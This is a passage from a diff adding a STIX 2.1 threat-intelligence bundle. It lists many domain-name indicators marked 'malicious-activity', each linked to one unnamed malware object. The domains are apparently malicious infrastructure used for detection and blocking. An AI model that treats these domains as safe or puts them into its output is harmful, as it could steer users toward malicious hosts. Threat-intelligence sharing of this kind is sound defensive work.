"2023-03-29T12:58:43.478743Z", + "relationship_type": "indicates", + "source_ref": "indicator--426ca0d1-1201-4659-9495-77cade2a9fdc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c6a0b882-f0ba-4594-bff0-55e1fed9dc4b", + "created": "2023-03-29T12:58:43.478914Z", + "modified": "2023-03-29T12:58:43.478914Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crunchytimber.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.478914Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bea78f3c-ee77-4da7-9d49-733ee420387f", + "created": "2023-03-29T12:58:43.479655Z", + "modified": "2023-03-29T12:58:43.479655Z", + "relationship_type": "indicates", + "source_ref": "indicator--c6a0b882-f0ba-4594-bff0-55e1fed9dc4b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be929588-6430-40fe-a76d-7f357b7311f1", + "created": "2023-03-29T12:58:43.479832Z", + "modified": "2023-03-29T12:58:43.479832Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sweetpancakelost.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.479832Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6969e616-0bad-4cee-9d01-0363c0f8df4f", + "created": "2023-03-29T12:58:43.480475Z", + "modified": "2023-03-29T12:58:43.480475Z", + "relationship_type": "indicates", + "source_ref": "indicator--be929588-6430-40fe-a76d-7f357b7311f1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--37c17f20-78b1-493d-8f08-a2c834d65d44", + "created": "2023-03-29T12:58:43.480652Z", + "modified": "2023-03-29T12:58:43.480652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='marinawikipedia.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.480652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e1eea0c-c189-4072-ba1f-e2116d5e715b", + "created": "2023-03-29T12:58:43.48128Z", + "modified": "2023-03-29T12:58:43.48128Z", + "relationship_type": "indicates", + "source_ref": "indicator--37c17f20-78b1-493d-8f08-a2c834d65d44", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3dd6a189-3804-4f26-b5de-41af386c4645", + "created": "2023-03-29T12:58:43.481455Z", + "modified": "2023-03-29T12:58:43.481455Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='primodominio.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.481455Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--debbc4f1-6159-4c43-9acf-b89fa655dcd4", + "created": "2023-03-29T12:58:43.48209Z", + "modified": "2023-03-29T12:58:43.48209Z", + "relationship_type": "indicates", + "source_ref": "indicator--3dd6a189-3804-4f26-b5de-41af386c4645", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b64e9440-5a50-40b9-8c7b-744e3764a51a", + "created": "2023-03-29T12:58:43.482265Z", + "modified": "2023-03-29T12:58:43.482265Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rubyextenuate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.482265Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34b59ae2-728c-408c-b8c6-9634a2e66ace", + "created": "2023-03-29T12:58:43.482901Z", + "modified": "2023-03-29T12:58:43.482901Z", + "relationship_type": "indicates", + "source_ref": "indicator--b64e9440-5a50-40b9-8c7b-744e3764a51a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d3f2e60f-dab9-4f54-8888-eaae527865bd", + "created": "2023-03-29T12:58:43.483076Z", + "modified": "2023-03-29T12:58:43.483076Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curlerangriness.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.483076Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1abdd1dc-7d17-4919-9c69-1265e1f08fe9", + "created": "2023-03-29T12:58:43.483709Z", + "modified": "2023-03-29T12:58:43.483709Z", + "relationship_type": "indicates", + "source_ref": "indicator--d3f2e60f-dab9-4f54-8888-eaae527865bd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--61de8b07-5f02-4051-a5e5-ccff71421c82", + "created": "2023-03-29T12:58:43.483881Z", + "modified": "2023-03-29T12:58:43.483881Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='produceclang.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.483881Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4aa109a1-bb87-4cea-ba75-74d84c4c5744", + "created": "2023-03-29T12:58:43.484502Z", + "modified": "2023-03-29T12:58:43.484502Z", + "relationship_type": "indicates", + "source_ref": "indicator--61de8b07-5f02-4051-a5e5-ccff71421c82", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c8d7a5eb-5746-4f4b-8ef3-7711131e1175", + "created": "2023-03-29T12:58:43.484677Z", + "modified": "2023-03-29T12:58:43.484677Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='calculusscrawny.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.484677Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db546824-0afa-4c84-9216-78fb84c16270", + "created": "2023-03-29T12:58:43.48532Z", + "modified": "2023-03-29T12:58:43.48532Z", + "relationship_type": "indicates", + "source_ref": "indicator--c8d7a5eb-5746-4f4b-8ef3-7711131e1175", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01ba5f58-e8c3-4129-beb1-c7dfab11520c", + "created": "2023-03-29T12:58:43.485494Z", + "modified": "2023-03-29T12:58:43.485494Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carbonimaging.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.485494Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fbef72fb-bc4f-45d3-86e9-2c91af3944fc", + "created": "2023-03-29T12:58:43.486132Z", + "modified": "2023-03-29T12:58:43.486132Z", + "relationship_type": "indicates", + "source_ref": "indicator--01ba5f58-e8c3-4129-beb1-c7dfab11520c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa483cd5-e270-4a79-be94-a6b86345eacd", + "created": "2023-03-29T12:58:43.486309Z", + "modified": "2023-03-29T12:58:43.486309Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canyonlakes.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.486309Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e708d415-0cdd-4517-8498-21b579a88d81", + "created": "2023-03-29T12:58:43.487048Z", + "modified": "2023-03-29T12:58:43.487048Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa483cd5-e270-4a79-be94-a6b86345eacd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--76b9a67b-8ebd-4a5d-9802-1c4cb434cea6", + "created": "2023-03-29T12:58:43.487224Z", + "modified": "2023-03-29T12:58:43.487224Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ursidaewinter.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.487224Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6827988-1062-42f7-a966-f9d9e7975b6f", + "created": "2023-03-29T12:58:43.48785Z", + "modified": "2023-03-29T12:58:43.48785Z", + "relationship_type": "indicates", + "source_ref": "indicator--76b9a67b-8ebd-4a5d-9802-1c4cb434cea6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c8cc11e3-566d-4d6d-8478-5ead45a1c481", + "created": "2023-03-29T12:58:43.488022Z", + "modified": "2023-03-29T12:58:43.488022Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paperforcraft.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.488022Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e9a429c-c811-4ab6-8b06-cfdee61bb818", + "created": "2023-03-29T12:58:43.488645Z", + "modified": "2023-03-29T12:58:43.488645Z", + "relationship_type": "indicates", + "source_ref": "indicator--c8cc11e3-566d-4d6d-8478-5ead45a1c481", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ccd4c2d-8d4d-47e0-9eb7-3437bff99441", + "created": "2023-03-29T12:58:43.488818Z", + "modified": "2023-03-29T12:58:43.488818Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='affordculminate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.488818Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2cec2ad-a986-42e2-b3e0-74a37a604276", + "created": "2023-03-29T12:58:43.489442Z", + "modified": "2023-03-29T12:58:43.489442Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ccd4c2d-8d4d-47e0-9eb7-3437bff99441", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e9efb4a7-5879-457a-b5c0-ec612410b077", + "created": "2023-03-29T12:58:43.489623Z", + "modified": "2023-03-29T12:58:43.489623Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plexinsspencer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.489623Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--600e2d75-03ca-422d-afe0-3ca7c466e41f", + "created": "2023-03-29T12:58:43.490247Z", + "modified": "2023-03-29T12:58:43.490247Z", + "relationship_type": "indicates", + "source_ref": "indicator--e9efb4a7-5879-457a-b5c0-ec612410b077", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab0c86a3-8b0e-4ad2-94b8-f2588629ba34", + "created": "2023-03-29T12:58:43.490419Z", + "modified": "2023-03-29T12:58:43.490419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coasterjack.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.490419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df80b8c0-3d84-4f32-bc6b-f3d44490d25d", + "created": "2023-03-29T12:58:43.491076Z", + "modified": "2023-03-29T12:58:43.491076Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab0c86a3-8b0e-4ad2-94b8-f2588629ba34", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a448e363-3171-414d-8ffd-d00ad1321d60", + "created": "2023-03-29T12:58:43.491269Z", + "modified": "2023-03-29T12:58:43.491269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skirmishstardust.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.491269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6a92c29f-f2cb-4996-a84e-cc4f7bc38fb5", + "created": "2023-03-29T12:58:43.491904Z", + "modified": "2023-03-29T12:58:43.491904Z", + "relationship_type": "indicates", + "source_ref": "indicator--a448e363-3171-414d-8ffd-d00ad1321d60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81047881-5f0d-45a0-b9e9-2ba4def06a9f", + "created": "2023-03-29T12:58:43.492079Z", + "modified": "2023-03-29T12:58:43.492079Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jargonspearmint.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.492079Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--711a2b73-bb49-4e41-9bb6-f0b3b1e28c30", + "created": "2023-03-29T12:58:43.492709Z", + "modified": "2023-03-29T12:58:43.492709Z", + "relationship_type": "indicates", + "source_ref": "indicator--81047881-5f0d-45a0-b9e9-2ba4def06a9f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--68d9f18b-403c-47e2-aef9-498992db7b92", + "created": "2023-03-29T12:58:43.492883Z", + "modified": "2023-03-29T12:58:43.492883Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ethicsarmadillo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.492883Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f446a1b-b9f3-4fe6-8b7f-08992d0fd15e", + "created": "2023-03-29T12:58:43.493556Z", + "modified": "2023-03-29T12:58:43.493556Z", + "relationship_type": "indicates", + "source_ref": "indicator--68d9f18b-403c-47e2-aef9-498992db7b92", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--70530f3a-67c9-4275-91a7-19ed4accec43", + "created": "2023-03-29T12:58:43.493748Z", + "modified": "2023-03-29T12:58:43.493748Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='geckoproviding.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.493748Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1638a6d8-886f-4499-b44d-790203b76a71", + "created": "2023-03-29T12:58:43.494492Z", + "modified": "2023-03-29T12:58:43.494492Z", + "relationship_type": "indicates", + "source_ref": "indicator--70530f3a-67c9-4275-91a7-19ed4accec43", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7817c1a-fa6a-4743-81f7-e4c8b02fd016", + "created": "2023-03-29T12:58:43.49467Z", + "modified": "2023-03-29T12:58:43.49467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ruralconflict.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.49467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae7b1f9f-d666-45ca-b745-f6e8f53acb51", + "created": "2023-03-29T12:58:43.495299Z", + "modified": "2023-03-29T12:58:43.495299Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7817c1a-fa6a-4743-81f7-e4c8b02fd016", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e31377da-5553-4849-b2e7-62f731900fd1", + "created": "2023-03-29T12:58:43.495474Z", + "modified": "2023-03-29T12:58:43.495474Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suitcaseherbs.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.495474Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--faa3271c-4695-429c-944e-6cea1d8e00a8", + "created": "2023-03-29T12:58:43.496099Z", + "modified": "2023-03-29T12:58:43.496099Z", + "relationship_type": "indicates", + "source_ref": "indicator--e31377da-5553-4849-b2e7-62f731900fd1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e3a6e2f5-cc14-4898-9b41-be7ea7dc3219", + "created": "2023-03-29T12:58:43.496273Z", + "modified": "2023-03-29T12:58:43.496273Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='repealsmolder.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.496273Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--12ea4901-38b0-439f-a9ab-9db6751f5b88", + "created": "2023-03-29T12:58:43.496899Z", + "modified": "2023-03-29T12:58:43.496899Z", + "relationship_type": "indicates", + "source_ref": "indicator--e3a6e2f5-cc14-4898-9b41-be7ea7dc3219", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3dc22fa-7c35-4f4d-8894-8e202c9b442c", + "created": "2023-03-29T12:58:43.497073Z", + "modified": "2023-03-29T12:58:43.497073Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shrinkgloomy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.497073Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bce2b594-a7b4-4859-8188-a74f81688db7", + "created": "2023-03-29T12:58:43.497698Z", + "modified": "2023-03-29T12:58:43.497698Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3dc22fa-7c35-4f4d-8894-8e202c9b442c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d97eca0b-a908-427c-bb9c-b37b116bd8cd", + "created": "2023-03-29T12:58:43.497876Z", + "modified": "2023-03-29T12:58:43.497876Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ancientmystified.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.497876Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c75a3815-0b6e-4c95-8240-60d9d2c6d69f", + "created": "2023-03-29T12:58:43.4985Z", + "modified": "2023-03-29T12:58:43.4985Z", + "relationship_type": "indicates", + "source_ref": "indicator--d97eca0b-a908-427c-bb9c-b37b116bd8cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57ebfcbd-7b27-4634-9ec2-51fb35cdfc2c", + "created": "2023-03-29T12:58:43.498672Z", + "modified": "2023-03-29T12:58:43.498672Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reputablydevalue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.498672Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2962d3f-908a-4a0a-9c1e-be13ebcb38b1", + "created": "2023-03-29T12:58:43.499297Z", + "modified": "2023-03-29T12:58:43.499297Z", + "relationship_type": "indicates", + "source_ref": "indicator--57ebfcbd-7b27-4634-9ec2-51fb35cdfc2c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26aeaf81-ff8a-402e-b9b6-11a203011ae3", + "created": "2023-03-29T12:58:43.49947Z", + "modified": "2023-03-29T12:58:43.49947Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nappystove.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.49947Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--752fd054-67a8-4103-b0be-5db8778e5c07", + "created": "2023-03-29T12:58:43.500085Z", + "modified": "2023-03-29T12:58:43.500085Z", + "relationship_type": "indicates", + "source_ref": "indicator--26aeaf81-ff8a-402e-b9b6-11a203011ae3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b827b17-e8b8-4a62-9fe8-5f4e76e85dd0", + "created": "2023-03-29T12:58:43.500258Z", + "modified": "2023-03-29T12:58:43.500258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roadplanet.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.500258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75a19d63-d2dc-4234-a184-f8106aa16751", + "created": "2023-03-29T12:58:43.500881Z", + "modified": "2023-03-29T12:58:43.500881Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b827b17-e8b8-4a62-9fe8-5f4e76e85dd0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a428f352-ba4f-469b-99fd-e77c6d230c82", + "created": "2023-03-29T12:58:43.501057Z", + "modified": "2023-03-29T12:58:43.501057Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icepeacemountain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.501057Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78bfdaa5-6ca5-4947-a701-aff50a51c124", + "created": "2023-03-29T12:58:43.501816Z", + "modified": "2023-03-29T12:58:43.501816Z", + "relationship_type": "indicates", + "source_ref": "indicator--a428f352-ba4f-469b-99fd-e77c6d230c82", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2131649c-c53e-4c46-bc16-804d66aab98b", + "created": "2023-03-29T12:58:43.501997Z", + "modified": "2023-03-29T12:58:43.501997Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jugularcopilot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.501997Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd8f2d92-15de-4852-83d4-692c7cef3b4c", + "created": "2023-03-29T12:58:43.502624Z", + "modified": "2023-03-29T12:58:43.502624Z", + "relationship_type": "indicates", + "source_ref": "indicator--2131649c-c53e-4c46-bc16-804d66aab98b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5fbc19b-66c9-44e7-849e-e3b01113afd0", + "created": "2023-03-29T12:58:43.502798Z", + "modified": "2023-03-29T12:58:43.502798Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overcookgermless.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.502798Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6ce17d1b-c028-4a1b-8d01-6aa5eaecc233", + "created": "2023-03-29T12:58:43.503425Z", + "modified": "2023-03-29T12:58:43.503425Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5fbc19b-66c9-44e7-849e-e3b01113afd0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--416a1194-24fc-43fd-a872-42b53e1eb120", + "created": "2023-03-29T12:58:43.503598Z", + "modified": "2023-03-29T12:58:43.503598Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sixtiesended.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.503598Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9aa27d2a-ae08-41ae-afbe-5e7a5ef91972", + "created": "2023-03-29T12:58:43.504234Z", + "modified": "2023-03-29T12:58:43.504234Z", + "relationship_type": "indicates", + "source_ref": "indicator--416a1194-24fc-43fd-a872-42b53e1eb120", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71318860-d8d0-41e9-9117-667fa7f178a1", + "created": "2023-03-29T12:58:43.504409Z", + "modified": "2023-03-29T12:58:43.504409Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='juicesushi.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.504409Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c56a66b7-9d7d-4000-818f-d72feea155c6", + "created": "2023-03-29T12:58:43.50503Z", + "modified": "2023-03-29T12:58:43.50503Z", + "relationship_type": "indicates", + "source_ref": "indicator--71318860-d8d0-41e9-9117-667fa7f178a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bde0536e-b2f3-4aa9-86b4-f46c447376c6", + "created": "2023-03-29T12:58:43.505203Z", + "modified": "2023-03-29T12:58:43.505203Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='throwerwobbling.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.505203Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dbe683d8-dd07-4ee7-a06f-86a34feed98f", + "created": "2023-03-29T12:58:43.505835Z", + "modified": "2023-03-29T12:58:43.505835Z", + "relationship_type": "indicates", + "source_ref": "indicator--bde0536e-b2f3-4aa9-86b4-f46c447376c6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ae25bcf-8723-4c02-b7ab-811b7a67c069", + "created": "2023-03-29T12:58:43.50601Z", + "modified": "2023-03-29T12:58:43.50601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='engagingserve.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.50601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--10a64419-b69c-4c5e-92f1-8fa75a0668ea", + "created": "2023-03-29T12:58:43.50663Z", + "modified": "2023-03-29T12:58:43.50663Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ae25bcf-8723-4c02-b7ab-811b7a67c069", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da7a7202-7dfc-4631-b634-0bebd963d6bf", + "created": "2023-03-29T12:58:43.506803Z", + "modified": "2023-03-29T12:58:43.506803Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='astronauturban.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.506803Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fb1fd3a6-84f8-4c17-bb23-be46928df255", + "created": "2023-03-29T12:58:43.507435Z", + "modified": "2023-03-29T12:58:43.507435Z", + "relationship_type": "indicates", + "source_ref": "indicator--da7a7202-7dfc-4631-b634-0bebd963d6bf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--825c29f7-64d0-4aa7-9e6f-e3603d0ba0e1", + "created": "2023-03-29T12:58:43.507613Z", + "modified": "2023-03-29T12:58:43.507613Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carsticky.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.507613Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6ba9ec35-2f41-47f8-801b-b9616049e3a1", + "created": "2023-03-29T12:58:43.508272Z", + "modified": "2023-03-29T12:58:43.508272Z", + "relationship_type": "indicates", + "source_ref": "indicator--825c29f7-64d0-4aa7-9e6f-e3603d0ba0e1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--635599dc-e5dc-4a15-8a4b-dab130fac18e", + "created": "2023-03-29T12:58:43.508452Z", + "modified": "2023-03-29T12:58:43.508452Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mournfulnautical.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.508452Z" + }, + { + "type": 